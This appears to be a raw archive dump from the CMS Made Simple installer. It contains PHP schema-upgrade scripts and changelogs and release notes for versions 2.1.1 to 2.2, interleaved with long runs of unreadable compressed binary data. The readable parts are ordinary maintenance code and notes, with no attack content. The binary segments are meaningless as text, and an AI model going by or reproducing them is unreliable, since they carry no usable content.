t3>s	⻟&ڷ/{8T:ƪIlמʡ,z&HG܀S08`9q`Aʔ0\ZG<Fh_6"~[ZgY%WBrj/l3__n`ĜYwv.vǸ8yV5P8X	qǒ<<m%7k.WK1Ebw\=t1)\E%	js="Ƽ"|ҕw+9,8/LNU]Abbo!ds[?xssn,5a9cOQtQ A!Ħ	VT hbŃqΉ8YVPsOYtu{֗?zvxN]p-bJS!-.) e
H
6x)VETkaKrضƔc)8ί[VDHCI\#SDqBGм<*v~pl%	[6Z	1VkS<n(bjvO jѻ՞'4 6Tbc {!3i KBCk*e0TXa%Ҝo'G=AgQ+c$Dx/Ԟ&R!wZB L@©פ+'z>!KCxq.⾔T{=l먹#%XN[w	`^-Yޟ^B΍Y VZ,dH?<)rdP1ڪ8x,Kfm0꺉4䣉ܟ.zu@<UZ\z"mjف6 	X>jPyp	@/F/z>[OUPqp0\29D8Sdm+@	4
?,E2?qH%kn&寳oƾ+	,Ҩ>|:صCAb1Sug>t~o1 Nh%'j=\!DB
;f=[FZy%Vx|}$+TnLp-|@~W7|{>-nL*( y]x>vnNΒ/, d7>,0ad4qhgR y]l+G6plrB>-W/'Ҁ"ޜ$Bp~]ݾ?mW|}Mt:
2K2c{Oײɣ#EeTޚJ06ZlH{"3lf;+N`2ϖ RZ^l6\LĈ[AJny7w\~}ЪPL0!^l&1YߑRX)>V}@+=HG?4T8Ն"d ߘS#]b -<p5!(!x'c7$&Vx$4Ws<Չ\YMU/6$hIkr7r^ݮC,0}Ԉ|6p'm4fX%c Ա,6	F;8VpP/Zc3l6933v:MY=@p$z>>
PQF3QMkեƴ,u#TRpZ|CVe=&>̘bzLpZkpv]1J\K3Qn:Wٖ;17R,iı@Q-'G'j6cF0zYc!;xu Ԅiʐu톉B Znx>6qQ D".D.V@7,RN4& U0
4~n(b>;VՉ1WC
dݳP΋k>]4]iBiYqF"5fif\,o}1r%ϢlʩG^&V4B.8]EvdZNcFr06LRlaJ@+vhTS.~=-d&(|iQiȦs͂o..oxy2BDRQ0t KUMJkܟM0M4(ɑ\|'nT

uEǍ`C#̗Csrh|-㉾bԩ=\n	KMFCt2SȃPIUa| C(\J!{LV3,:vK17t2XMTc:xђ&pxI:eq$O@Sr'k'Gb2WD3?q (;57P``T>&pTmV}k$
qR*btD\DچNuPkN1qOvvnn@"aBn0q4'	>!T 0WYdA52Xl7Vr'HcÓġarL0);`wW<QniuZlekk=zѨ6bƴm έp|BޮOQPnv>P6ȺIׂ̍:
);I2YؾgAB=۹ۯ*
[lk/-=2Ƿ{s.1XXD M|?빦&(x}Js[_u3ak2T!%<j`ms~+2?(0)TZhS0?V8r) C$z ;O:l
F	p1PztJc&Ջ1ly<%H=I=p`:2 1:;~o&xpF>(r/<JհU<c&H^l<jv#?}v@צ:ZEn$nΏo>jYXnHh^P'_H<BeE
|%.I	m~]p>CgZeWECM.PíX2aKS^3&Dm\KR`   \@~+  <?php
status_msg('Upgrading schema for CMSMS 2.1');

//$gCms = cmsms();
$dbdict = NewDataDictionary($db);
$taboptarray = array('mysql' => 'TYPE=MyISAM');

$sqlarray = $dbdict->AddColumnSQL(CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME,'listable I1 DEFAULT 1');
$dbdict->ExecuteSQLArray($sqlarray);

verbose_msg(ilang('upgrading_schema',201));
$query = 'UPDATE '.CMS_DB_PREFIX.'version SET version = 201';
$db->Execute($query);
Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag.
- Fix minor problem with checksum verification.
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays.
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking.
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (admins can clear all locks, regular users can only clear their locks)

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and css locks (admins can clear all locks, regular users can only clear their locks)
     W]SbI}_/wo2S5j+N'rqwvAsOp~rep1~r=8;K\t~y=7[.Nǽ_/_\W_v:w?O\|{)Z[aZd=VMrxTh]>wCny棿yޟ6}iaQMB*E0Li}mJ?.g<h:qdj+XLu`|=;tbw4m
dJ2X,T r)|'p1.x8yK(k-zfb1=eUmozt(D㘩T)Lp=>-ê]aud RJA$Ǳ9G4RSqwb(ibhB[UV۔|_\l"XJ%U5>4U4q>T
a4isGbM>Rưy?mc''7G<qJ;P+-E
#o"-ӯXav?ڑ%I%QOZCMXo;Z!7i_q˼xטR R\K9ox\;4sS4R5UvZt(76ZۡhE~%Rj=8
!~bpUbi5KYJc6ZJBMAD/m@>m 6a^6$zI~?_	VJkZgB٨9j"BNlsRm"ζ0jMjbQ9Uٽ[q65-Ȇ2aCѽJ}ɦ;O DM*8
j2g@/Ӡ0CߵĚ\4c	DjpY|tE;8WBrV;à}ǂcxSfTi_ˌig&\y[mUF.U!uE`:hlÉdSz.9PJMe3Usj3Ykc1kd<>|4D;rFqUbK`3^uRͧZ@U
Fq9IRaG9Dc0_$kca-ldYʪ4n`8K?(~fST΃fD0Ui8_{E{m	C|e,E9j^   v  This is an incremental release in the CMSMS 2.x series, addressing bugs and minor concerns.

Once again we battled with the locking, and for the most part we think we have it nailed.  We fixed some minor template errors in Design Manager and Content Manager thatoccurred when locking was disabled.  We also revised the locking JavaScript to use an asynchronous process that works asynchronously in almost all circumstances for common browsers.

The new locking JavaScript code is apparently not supported in Safari (particularly on iOS) and in Internet Explorer or Edge.   If your clients are primarily using these browsers, we suggest that you disable locking entirely and exercise caution so that users don't accidentally overwrite each other's work.

New functionality also allows non-admin users to explicitly, manually clear their locks, and for admin users (members of the admin group) to explicitly clear all locks.

We fixed a problem where permissions related to viewing and managing user settings and the user profile were not created in sites upgraded from 1.12.  If you are running some non-standard user groups you may need to modify the permissions associated with those groups to ensure they have the 'Manage My Account',  'Manage My Bookmarks' and 'Manage My Settings' permissions as is appropriate for your site.

Additionally, there were fixes to the Navigator module related to install and uninstall,  fixes to the {content_image} plugin, and fixes related to the initialization of the setting so that modules like FrontEndUsers would not generate a 403 error at the wrong time.

A complete list of the changes for CMSMS 2.1.1 is as usual available in the doc/CHANGELOG.txt file in the installation, and is available in the installation assistant.

We encourage you to upgrade your installations of CMSMS at your earliest convenience. 

Thank you and enjoy CMSMS.
<?php
status_msg('Upgrading schema for CMSMS 2.1.1');

//$gCms = cmsms();
$perms = array('Manage Designs','Manage My Settings','Manage My Account','Manage My Bookmarks');
$all_perms = array();
foreach( $perms as $one_perm ) {
    $permission = new CmsPermission();
    $permission->source = 'Core';
    $permission->name = $one_perm;
    $permission->text = $one_perm;
    $permission->save();
    $all_perms[$one_perm] = $permission;
}

$groups = Group::load_all();
foreach( $groups as $group ) {
    if( strtolower($group->name == 'designer') ) {
        $group->GrantPermission('Manage Designs');
    }
    $group->GrantPermission('Manage My Settings');
    $group->GrantPermission('Manage My Account');
    $group->GrantPermission('Manage My Bookmarks');
}Core - General
- Minor fix to missing lang string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the ajax routine behind the parent selector in edit content) to handle ordering inconsistencies.
- Remove die statement in is_email
- Minor fix to the relative_time modifier.
- Upgrade PHPMailer to 5.2.14

News v2.50.4
- Now all field definitions can be deleted 

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module.
- Minor fix for some notices in install and upgrade modules.
- Minor typo fixes.
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly.

MicroTiny v2.0.3
- minor template fix.
- fixes for stylesheet overrides.
     }v[G{}TCʪZlwVdf$$X ( 8,/K#{?~7b0o~_1WJ?/~q޷?-o>.~w׿~}={ń]R9kS̻ջOkW]XSͺ
S55*l,E='p=-n-TRVw{鬓꼆Mݻ\}[RTJ5w+=/eVwk[ʓ	-[}5sRZjK'n5硑ikNE].DFh՚A_(Sb	61(rγ)E;FnG.ƭAs֒hI
	5PNY2yY[?ry^l9s6Dց:s4mz.huK'o~e6p,f53hPQ7VhI,N=YnfO-oxju]ߏ\6ߒmtAƽۢRNg1k~ҕ|_hT
ygZϵ`|04^{سn%j*a{Zec-5鐕IZ3\iJW͑'o</5D{*]-J:|ǔr~F\SfdBpޑbmƗ|~uKG`G1Tm컭o# `#X\`Jo1<QD qMs@NsTCgJJh:nTb|hQ>Ʊ-d>%B5#i(x:<tB$N0^dzJjcBo+A*c!s<Œtn[[Ɇ'a#[AUC{2XtCO5#o)N\vЁL뛡qµ@}PY9!Ч$?># : #f#^ALQ	^p)Rk P48BkCd[g s'GeOS\qDYߤT4yJ@স{F*%ˮk$dr!ZI:w){k.(]i0ݲT/ȣ!@Ґ&_@jh7BdΒ.@L{y4-B b3{obT .ƈ^O^!aZZ3 3LzQCs6WS	yd(_N3uƥX#zAqi1SEK0
*{hI)Bnr'bCCu/,Y,>ez.lm<B]>-&Ny<%>:fII⠘9OQ3j7$:3gΤAK LSU%6t>H'סi&Q:sC81B:#Px$>Ձ.&i>ޭ tnJC^HNZ^['ɒr	msTV ~	@ȉ~?T1{8`rM{w{;
]4)tQ7Adf/F鍑CtpiPTWULz~+gy%Ehr<FGl AKH
 AѬOvexPS "5!="udi<vjkE_fc $ud2PN/ j,hf S4q<NXա w^*	F>^|uȭᘭ"aĒDI 'sU!#sU6w[ ?@ڣf즮9i+`Ⱦ_Q2Sn`h
K1}JұCm.[cZ3G1ۖd̊tX1PV+!DW.)+WWH.mMZHhNfn,itFOVd"Qw`g-!-O@dyijeGqJϊF.>ug=+l`;C4_4	ZܪA۶AծD)1PM4	{fḺ!(gKeuv&:GG?މ2Wٺ6@6B41XH4x(>#
ps}4Hrs;b8ـ,(So"wOESN7Zf=EI!-K:"AhW3nH"`lbS NYe]*<\yB/4) 24W3
,UнLP|0=< CBqb 6Mta^5}Ovp7[fDsID[,d9)7=g%GҴwCܚ}+<Ì^E6nr-O2}ḿLxV'VG<Qw X7 VQRc}Q4J"RU\H	ycX@0U˝Z(`23{ {kZ/7`䜸 Ƭ(+(4wGGj2awG
cՎo-:[4H
\D5ϵ:a^94tEs-&}|gHޭAشu
gH%R6\rư%0D4(64z4H6[kG9sXZ^-=1̳v[}\	$ <r|"ѻD`bߴo y LA*?eyMCeM
\d/)b57ݬLn\TU&ޮՑ]\J{":jNMj
({%SNěKہ :[j$Tcפ7z2|Z|TO2eoMXC]9m"t5g~3^ae+Hv6wZS?9-'n/ m%wJ6"b>&BPѶ~~%ݭ`<rE[KbwvHv~gz\FL-!u>yALMe'2D\[UukAgm-
SW
qNJIn(ɧPX/P_9Wo_CIBG@4fܢ{tHWwBsX(ͮ{J%PnrL{' )܂_[r"u(DS'^kg7@i-4vD+8թƿr2FVQjgKH}~P1nKi˾#9!Hm 0^	\/uP7ߒR*tvVC?
g*r^TA;Ȫ4Tm>m?]N&iqܴ='xEp\Ɣ6Dhsب܍K8H	/%jJ1j	8Ƃz'FیK*hɃc]dS&⩣=%ެ'n-t<nLlɣ ::]I:O0jMG	?cwX(u"tBw{4~ຸ7/O/Nyh&a2;M<U*"7{wrYQS<*uH5Y5]6$X+1h]=JKR4v1D9>C0MBZ<,+3d)P'K*&
Nv
TqݰE&.п-ư4Q,V*C4JnguXJ;ObUvI"?9RW\gZΩ9kei {E,MW[CQJ(Yt-tAFw~u7mܥX|(TxL52eGbejַr Y6t%jRr
6+/	6%+!*oDI5v>^̞~Q@#ExFn.3+^aTVzSYD5`/hlpL3G27l4(xDFzAٟ/bRIdfYO¶.؋%Ӡ;xe}}zY>mmimC5 |^2KWTez
9YK/i%+R/=^G&Q&>åerL
D8@cP Gdd?2&@o,m7Ǡ7rLKѢ(.!+!zi#oz9C !Us!I3={Sѿ-eaOPRKSHҲ_`t9jYH/[oFY|Eȶy`dpĲbt/R<7IȊ)p)^V.5l`K$K&DMC1i$29> 2Tm^hmgz&;]*HŒy+X:5_>(ewV*=6[rH|ph &#fAlԡHoF|N 
nwC^>[kst|۴l*\"rԡE夝Fnw&wu84wTR֍xzJCo6K`62W[-ȣlBZUʹKQ|/lc
1+\,d!2:pdFQL)U,pQcnGܬF!@fRl. 3>9:E,K@Y̗:79?!ʩ+۵EeC]f)BkxoW@t{3k1VxHCP*^Wk8`K	f/7
\W9*	uT"lLsB^ŌnE_<"!IP&D&Ii_BpɲLZGr8]zQvi >l*y+h,t+e\3:qyQP6'ԄFE5򆙷}+nx^,yHAuͰТ@>x}
)HWH
L-[<ezofQ4"%E&3]ftz|'jE78+xLFF,W%r}-Mڔ*6_|m3Bfpb@*gqC=+{S零31RV@!1=naRdGFM67~0ޢFlJ)М,k=pӰP Y54`.F(9o9ܵFs)ӡAN$
Z{y-MY.|XA5{ǥN`ѝd6re83Gt@\\`
t8mrz Ctir^-?dUA2M9QvzȲtB}3mF(,$;ǣ&Q;^"|<< R7&~WN>GcxCg2o߯.1W#vd*P%F~C]
 Ѳ who`Zyx@9Xߖ4KiP9lqEVi0G~[HCQa~sAr?L-風qzG]I^9A ʮKL,R`օj=d#3ľ\Nw94:ZL)#\^8Zb3#2PA4(_L|gRO,9C|Z/_JzWdQ .{!#جe
en)]+zNL-Y ֯U]rJs
rFVПu}Q=9JnTK^x|q(@r6"c/)OXd	H"tomⷱoY6Mr\InSapm0jXǰrT%!ޜ:G3 {61(Y0<ܕa\0'X2w5!VKjV!0Yb
CЍ(,1:HrRi=8frVyyݫc ΃*=2͝z-J\jl7 r&G7 ypI 9˲u%g2o~C
Rv:b6;i(Tkox3_o%N,9l-IU[$ă .s!r^,}ůNti[BJrM+8AXڴ!u؍[Ꚑ:O,j+e}0WxtVCUJS#07ZG5(8=\ߝlT;Tj:תYU\gij{>XEV >ʙUˮL>h%1e "sFx~:~WK`HA&z:RtYjb.UoaYxFReÛ$-UA(Hmv0ur9ܲHsN%"43g-aFJtKnGoX+ʟᏱ^|S$N1u
K zڛU SxX?<-J[n(17)nWH
u]JA7=[QmPt~Q	Ƹ ғ1uRj2|pù"!;삌vMhH!?at]JK	#pbk~K׃rO#uLقdwuKG5sr [y%S#VC'ϽlKU-0~"PwE#'J$߅
# Aѿd"ѐMgoGm:iw٬
 <η?^ƲB!DFs.O0x݇aìw*VUzg
rJI#Ao?Bk><:z89PY*D?~~\*K
 IMȀIyEWO7VЧk%oR{i;8*1:D*w+WӬ#WxZP2k[Vi }B~1ಆe
[Unt|%GvJ&;&IoֈR7/rȅY%N:3pTQVmZAAP'?p.[t
̫!}j܋wZ:>o?hِyur!Ttt9߭\fѳ^,nզ,W`ĥ]yJ>7mQs!ӪWS'Ztw#6;d1U4d¬57s'V(W?%:g<w)SfxTUų<["I. @!3/k ގݲ/GaM(#ƽd`썐ݼVR`%)EF)dka^DܖfWV́b*םAN\؍5M)F'Ce
 HƦkgo9TVA|33nSfk`Vi':$9QCUW9y~#(ӫu^X~vS"8%tÐ vm"tC]jq"JZgsCxUj9Eh2!UU{+zP<փ[W4|\qcv)&9:X'|<oړ5$V>oK%y5koE~Z]+97mڬ"\шFnc =P.&pvܨsܛ)_T ;T!#C77ۘeWީAL,;0v}|BTEBz]r:̟@w=@ րcDuHrTO.pe9xX=J(
%A&M>؃
='Pk(Q<UbT"ӲR6~rl"y )tm KU\,AM";q{gG[z,bwӢlds$AqG˲kz5+&S1a)𾁣;픭MH@$r:++K2ɶݷmHm*%XI^pg7vڷzԈȋkB moz(@t2ξ FAxY@STG+m 8(v*Tu5(ӽ#0xԶt42H=9ut w5Yzo*Rr֔dNV-ܧ߷X׋%yB&xb}I(.&x`3a){`qR㠣'u0hHYYEn&ߊB϶wfFn, e$"<:0ͬ;vzqu{UYxiA> !<#;xOʕuq~=C򈐬G4Oꇏ+Abܳ% LF#dM+Vkn4T'ѡU@n!iWwa
^R^:\г1uTuҩLZrpܔɣQE.!=޼Xe\C.>qFF%ibb^1{䞤ɥ-38n k-~>r=4t߮}=CL'b d%=j<`TgZ(ڦQnTrH-YT'ecyVAľ_$`+&WkARUy Yos9շOL<up˰&!x-'dTocO&mi,	jΣ/A;Ty;qHP	*SU '(>Y@'W^֜	tprz48Y\0`Tbt,sVwPLmߍ]S!jxGE(C@#Pbyp<շgYT"w3F&6gsN*7ٹg5/	F!H X1
Hܒd؝f^) ,QeF9JeeopDi>, +yE&"Ҵܶ珮5= "G llxzSOݙ"A,['t\%i2Nwr)<P>2T9(/b;ٞؑI@GyЕ&'͗Ņa)tNGJm8/s^W5g
On	o=VL~*glfY.MVhX8G١)}Fjl}$o(LGX[IN2q8-ʹ8ռ.լ)%Qx#Nfq9f>Pfaid=r<fuYd'7O5,"!XftU#m.bTypTђA6]ʮ
G:'*Kк@k_1Y4%[Z.%&lTjlT\Cx(,7%`G*ny?(ovu :[>X:Xtj>^fkq'k*j5t]q<_/;s;Y}H]5i]gٕ${|w?^]AQE'( ov3B?,i҅-!lESQfuny	_e=lA<W5^n+}BR@514YIРHȦ{8r)_[RHթd:kOߝMrUXoH[&C%'|;ؑСQQUKב	92Rc:ёU 郜M3GjERrfYךr* $oO%r~ɍi?F
{Y啑2J8<#%d7%7xcut??,v;$ʉmLtYBނGHO_s;8Y/'7j+*|n:Y&kas;vvfGG.jZ2R7)t*9z°Ҵڼ3g|q)JtQbGǎdV޽UС\(|JB=<rpwGŌmMj_G|RzyՔҚ\ATX7ѻ3֫QUUkѫ9>}
<sm9p l15v9;Ne~qGh6\U n 4j$_g?ŹHW>BzT k;%w|g3&*")Mr DF+pSNl@x8;Q~/%dNlCV^=M0'aߑ!Ҿa==[1TO;_qx;C!.C$TF1/ݞfFvK&lvMZbL|&1*}ʝe/   s'I"  <?php
$gCms = cmsms();
$dbdict = NewDataDictionary($db);
$taboptarray = array('mysql' => 'TYPE=MyISAM');

status_msg('performing database changes for CMSMS 2.1.2');
verbose_msg('database schema has not changed');

$sqlarray = $dbdict->AlterColumnSQL(CMS_DB_PREFIX.'content_props','content X2');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('ensuring that database schema is set to 201');
$query = 'UPDATE '.CMS_DB_PREFIX.'version SET version = 201';
$db->Execute($query);
Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories
  - Update the included sample htaccess.txt file for security
  - Fix for endless loop when calculating a page alias in utf-8 environments
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid
  - Fix error condition if there were no default default design, or default page template
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned

Installation Assistant v1.0.3.1
  - Tweaks to README files
  - Improved error handling in some circumstances
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder
     VRG}+Hs&ReA$7Gly.`ʋ3sv\.?OnN?/ף٩vA%C'?\_]9|<;5=0{//Gӟ7W//^m~~;:ofX̟F"T^1hs.D6gmWvw= r=GŪ0B*lh`64O]Ms?.?n xtvN>X[mKf6;o~[<H#*hm%& M)l|O\2E)u$S&O+%WK1
O\`=;y9v1x1ò0Mu6o&,{_VKe`"9f諎/лİ>aoM`J.Ԡ!\B﷋W&cʡHyLR`)Y#}w+&j3\:V4]Rwκ!TG 	[_5%:+Xr%TZKp1م|KJ9d/]"Z|$R8v_=٠kRRZQ:h?3_>#(JYo0XSU6sZѺi'K{<ؾOk.(ʈP
EdE`v:}]3]|h}
Š_/
oDBV&jg%'/0yv䀐
Tl{|/@/{3~s7'LC*0D$EIӑJ1\CCvcs,+!Abs$%Ӄm:EftnD)E)Z!AAr]eSm߿ҲY+mvu>[,e$ɦl\ețmw{jQQs>)6jZ}MurbVt}I"idXUtQ蛶wk!6D1DF׃n^OL4Uj"@r:WVMK;}"-Z^^kF K(W[^Ãb|z^؃)9X+$ ^ZU%77op>L}!TEU˥$P"DInCUvs؍f֜wŇZC5HLz^Y{u7Cte`*:mx'|89,H2e*F9IcM7%ڞ   4V  Version 2.1.4 - FreeTown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file

Phar Installer
  - Fixes issues with respect to hanging on step7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.
     WrI+C	mw%{DH$pqV=7HIѡ%ztf|;_]^h&xwo'0=0GoFˋ7bƟb"zQ;%byg^,p#wFXi3t@tٓsͅ6E2kCz`֭g%"NE;k2PT[(mz}Y5A3f"oR`2T6K4f	Rf6xb~f@]2Y):S&b]>>Y\Ks0U9z>O-vwA^,pm1Q&]],sT*$o*&Kln\jQbV9`)fjd".چ̀e_bֹ2r%9K^a/^KP
({kj	&p18ʹNr~w*b6DcL$&*fݽ	9lRmOIzRRAul;[E\(YL(ͭɫϹCu^SҺAaPڊSb ד}+9t{tVU6h"Jg'YG]b/rJ@JWӟ_>#+mX[d
oɊUS$5E+eH)Hk']lQ֭yQ	^FgLfB0*rE9⮙ίqS^{-[~j_<
D(\т1#*~at?&'t.XIRlbI@ofb5q(¸Ƕ=U-BI,mR|pי̮ I5dI8V?ﻏ3`Xf4iQ2{< Cڴ`_.2tl֨v> G+MwWmL+qQ\+&Gg	roR-) Q~4`fc3FsAbUsOEcOߴ1ۀx6CH	ɾ;]]vpﻣ vҔVy
DDى5nڲ=vddbɞgkx\7?pU.$,O"UvقeK+s
[i\W.Ud*;}@s~6%Z&$l 
,Xl>~*5kѲ$Z恤x3Gd,ؓ,<ËPEVtd$DvbF+x<=psnI^,Tʲ2 $o	Upl$GNic!PXCE8w>APYg)̒3C0o?½   1)  Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.
     WnV}w_N20N8SO%TM$^dR9@/ep:˟nǃ?&_oo.j(br~{pi{j0[?|ryjpq1H*T
S!D.bRZ:jVݺfح}0NgQe -Š"=gjJaR;)f2A|jXF~XI1YXK**YP YhǚAʹڸ\%'e J~!%JEi|kG(^9-qS
!3>'5m\?oA%:Gc1x'(s"??kh[㼽\tBO^^$lq!s`yNPէʚH.Z]S(5ƀ"TTZt,~IsuM_ey 20&+,RVPȪwǓqByT˺ʏab>`EJ ,<gғw:Z;XɭCL¹`9רo7x\IcMI<!ѓ2	>DMR75Dӽ䏐+ӆZA$\ɶ"!F, l`cƼWFH&itH*]Rч/'7hOeFV '瓊?VkO[&4pŋ'81	|SηYK#	X<ˌp7hnӒ+)B8mL30G;ݲ0o?/PfFeA(^y}aowhXYԅFQXǊ²B,Aؖm1!hNsN~":2R#'4g\P;޵D/3@;BC<O;a3jF{754o0cC 6UbaQڿ̙IƊb$$C<'Ifaf罛xc	[J7dhAO3W'Y$	H^/EdqVw+hO^6m~s&<^U6ҳ)cOuވ{҉6[E@b{aP٠Ȼg:-ȣjLěWČɿcLtZٹl7hKیҺq9mW{iyTlPQ9Q6e2ՈǧT3HuF1)lQi(ҞCp?x<'Ϥ,IJ`ֲ#*IfKUQY/*f> v/vGop r%s9WFë$ kyQ&How3NaF4;#:kyy)BJg:?pIHdnxy5b)+/   (  <?php
status_msg('Adding missing permissions');

$perms = [ 'Manage Stylesheets' ];
$all_perms = array();
foreach( $perms as $one_perm ) {
    try {
       $permission = new CmsPermission();
       $permission->source = 'Core';
       $permission->name = $one_perm;
       $permission->text = $one_perm;
       $permission->save();
       $all_perms[$one_perm] = $permission;
    }
    catch( \Exception $e ) {
       // if it already exists, skip adding it to groups
       verbose_msg("Permission $one_perm already exists");
    }
}

$groups = Group::load_all();
foreach( $groups as $group ) {
    if( strtolower($group->name == 'designer') ) $group->GrantPermission('Manage Stylesheets');
}
Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.
  - Change new version check to timeout after 3 seconds..
  - minor fix to the relative_time plugin.
  - Admin menu item urls can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.
     WrF}<ce2U=}Sр%DjxBMA88 g_~]ߜ|]̮nf'%I?=r~鉙Ëer5Զ݇O?]|I:`bL.*UJޙB]6iGKꦗ+dzY[-=MuڂBf6ɲ͔Uj)
s1;JnF-8JZS撽%
m~Ѧ;Щg9d6#FYwb`fTx슲U@!JHgÑ$vT=檁wmSvv}sysD#ﳄ0ՒsGx&aəb0TUsr
m:Z-Te1e]N|Zvmw&3K\JTV31Xpdaφxv=EzeԆudʁYYA>^|U\rڸ$<TQkC*$+\/a&nm$[D@
2Tӑpp(IKC!0Z,Uy'sZmHMDkvUT>jJ4uێ('܊%*DP
gI2$6fЭЍpE?Q>W<	\̾@	nJQQ2+W].R+;zӇ=\~{2SQQԐ{ޅ.wGVa%ZN*&;Y,m#+*+KJ&Sy/MjĶl$qH"ۚC@|Koßi/'jUIQdM6ЉhB1*hc`-̌V&7>t`%B+
%a|MxS26I:5z'$~3_Un=9vF%lpR`A:/׶rvY??uG'UCR5".mIfHLO&$Bt!Jw3<WIYD,{
!ǘSN(Sz\:2FǘS/sc
Rɑ%
lځ`jvv>ןϮ&7Ch
IɦdȰ 
7P#Is`'.l3Tɗz,7vņZzCk"Py_TR!R5,?`Sf#Zy}R9cFnn6{-FXgxe|ڮl85GI{Z")E$T6={\vO1PDe.E<?v+r7F
HR%37Zry02j%oM(a9A>pƎZnuv~ф)[B3>Vh]nbB>}!Mn&K~DeOH=~^$wuKGPU>d)YY9T&ɰK?o    /	J  Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
